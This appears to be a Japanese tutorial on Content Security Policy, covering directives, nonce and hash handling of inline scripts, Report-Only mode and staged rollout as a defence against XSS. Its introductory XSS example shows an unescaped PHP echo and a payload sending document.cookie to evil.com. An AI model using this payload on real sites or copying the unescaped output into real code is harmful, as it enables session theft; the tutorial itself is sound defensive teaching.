#はじめに

「XSS脆弱性があると、ページに悪意のあるスクリプトを注入される」——これはWeb開発者にとって最も恐れる攻撃の一つです。

CSP(Content Security Policy)は、どのリソースを読み込み・実行してよいかを制御することで、XSS攻撃の影響を大幅に軽減できるセキュリティ機構です。

この記事を読むと、以下のことができるようになります:

  • CSPの仕組みと効果を理解できる
  • 主要なディレクティブを使いこなせる
  • 段階的にCSPを導入する方法がわかる

#XSS攻撃の復習

CSPを理解するために、まずXSS(クロスサイトスクリプティング)を復習しましょう。

#XSSの例

<!-- ユーザー入力をエスケープせずに表示 -->
<p>検索結果: <?= $_GET['q'] ?></p>

<!-- 攻撃者が以下のURLでアクセス -->
<!-- ?q=<script>document.location='https://evil.com/?c='+document.cookie</script> -->

<!-- 結果として実行されるHTML -->
<p>検索結果: <script>document.location='https://evil.com/?c='+document.cookie</script></p>

攻撃者のスクリプトが実行され、Cookieが盗まれます。

#従来の対策

  • 入力のサニタイズ
  • 出力のエスケープ
  • HttpOnly Cookie

これらは有効ですが、一箇所でも漏れがあるとXSSが成立します。CSPは「多層防御」の一層として機能します。

#CSPとは

CSP(Content Security Policy)とは、ページで読み込み・実行できるリソースを制限するセキュリティポリシーです。

サーバーがHTTPヘッダーでポリシーを宣言し、ブラウザがそれを強制します。

Content-Security-Policy: script-src 'self' https://trusted.cdn.com

このポリシーは「スクリプトは自分自身のオリジンと trusted.cdn.com からのみ読み込み可能」を意味します。

#CSPが防ぐもの

<!-- XSS攻撃のペイロード -->
<script>alert('XSS')</script>

<!-- CSPにより実行がブロックされる -->
<!-- Consoleに以下のエラー: -->
<!-- Refused to execute inline script because it violates the following
     Content Security Policy directive: "script-src 'self'" -->

攻撃者が注入したスクリプトは、CSPポリシーに違反するため実行されません。

#CSPの設定方法

#HTTPヘッダー(推奨)

Content-Security-Policy: directive value; directive value

#metaタグ

<meta http-equiv="Content-Security-Policy" content="directive value">

HTTPヘッダーの方が安全です(metaタグは攻撃者に上書きされる可能性がある)。

#主要なディレクティブ

#default-src

他のディレクティブが指定されていない場合のフォールバックです。

Content-Security-Policy: default-src 'self'

すべてのリソースを自分自身のオリジンからのみ許可します。

#script-src

JavaScriptの読み込み元を制限します。

Content-Security-Policy: script-src 'self' https://cdn.example.com

#style-src

CSSの読み込み元を制限します。

Content-Security-Policy: style-src 'self' 'unsafe-inline'

#img-src

画像の読み込み元を制限します。

Content-Security-Policy: img-src 'self' https: data:

#connect-src

fetchXMLHttpRequestWebSocketなどの接続先を制限します。

Content-Security-Policy: connect-src 'self' https://api.example.com

#font-src

Webフォントの読み込み元を制限します。

Content-Security-Policy: font-src 'self' https://fonts.gstatic.com

#frame-src

<iframe>の読み込み元を制限します。

Content-Security-Policy: frame-src 'self' https://www.youtube.com

#object-src

<object><embed><applet>を制限します。

Content-Security-Policy: object-src 'none'

Flash等のプラグインを完全にブロックするために'none'を推奨。

#base-uri

<base>タグで指定できるURLを制限します。

Content-Security-Policy: base-uri 'self'

#form-action

フォームの送信先を制限します。

Content-Security-Policy: form-action 'self' https://payment.example.com

#ソース値

ディレクティブの値として使用できる特殊なキーワードです。

意味
'self'同一オリジン
'none'すべて禁止
'unsafe-inline'インラインスクリプト/スタイルを許可
'unsafe-eval'eval()等を許可
https:HTTPSプロトコルすべて
data:data: URLを許可
'nonce-{value}'特定のnonceを持つ要素を許可
'sha256-{hash}'特定のハッシュを持つスクリプトを許可

#インラインスクリプトの扱い

CSPの課題の一つは、インラインスクリプトの扱いです。

#問題: インラインスクリプトはデフォルトでブロック

<script>console.log('Hello');</script>  <!-- ブロックされる -->
<button onclick="doSomething()">Click</button>  <!-- ブロックされる -->

#解決策1: ‘unsafe-inline’(非推奨)

Content-Security-Policy: script-src 'self' 'unsafe-inline'

XSS対策としてのCSPの効果がほぼなくなります。

#解決策2: nonce(推奨)

サーバーがリクエストごとにランダムなnonceを生成し、許可するスクリプトに付与します。

Content-Security-Policy: script-src 'nonce-abc123'
<script nonce="abc123">console.log('許可される');</script>
<script>console.log('ブロックされる');</script>

攻撃者は正しいnonceを知らないため、注入したスクリプトは実行されません。

#解決策3: hash

特定のスクリプトのハッシュを許可リストに追加します。

Content-Security-Policy: script-src 'sha256-abc123...'

スクリプトの内容が一文字でも変わるとハッシュが変わるため、管理が難しい場合があります。

#解決策4: strict-dynamic

nonceやhashで許可されたスクリプトから読み込まれる追加のスクリプトも許可します。

Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'

#Report-Only モード

本番導入前に、CSPの影響をテストできます。

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

ポリシー違反があってもブロックせず、レポートのみ送信します。

#レポートの例

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/malicious.js",
    "source-file": "https://example.com/page",
    "line-number": 10
  }
}

#段階的な導入

#Step 1: Report-Onlyで現状把握

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

どのリソースがブロックされるか確認します。

#Step 2: 必要なソースを追加

レポートを分析し、正当なリソースを許可します。

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' https:;
  report-uri /csp-report

#Step 3: 強制モードに切り替え

十分にテストしたら、Report-Onlyを外します。

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  ...

#Step 4: 継続的な改善

  • 'unsafe-inline'の排除(nonceへ移行)
  • 許可するソースの最小化
  • 新機能追加時のポリシー更新

#実践例

#基本的なポリシー

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' https://fonts.googleapis.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' https: data:;
  connect-src 'self' https://api.example.com;
  object-src 'none';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

#厳格なポリシー(nonce使用)

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  base-uri 'none';
  form-action 'self';
  frame-ancestors 'none'

#DevToolsでの確認

#Consoleでの違反確認

CSP違反は赤いエラーとして表示されます。

Refused to load the script 'https://untrusted.com/script.js' because
it violates the following Content Security Policy directive: "script-src 'self'"

#Application > Security

一部のブラウザでは、現在適用されているCSPを確認できます。

#まとめ

  • CSPはリソースの読み込み・実行を制限するセキュリティ機構
  • XSS攻撃の影響を大幅に軽減できる
  • 主要なディレクティブ: script-src, style-src, connect-src, default-src
  • インラインスクリプトにはnonceを使用'unsafe-inline'は避ける)
  • Report-Onlyモードで段階的に導入

#次のステップ

CSPを理解したところで、次はその他のセキュリティヘッダーについて学びましょう。X-Frame-Options、X-Content-Type-Options、HSTSなど、Webアプリケーションを守るためのヘッダーを紹介します。

#参考リンク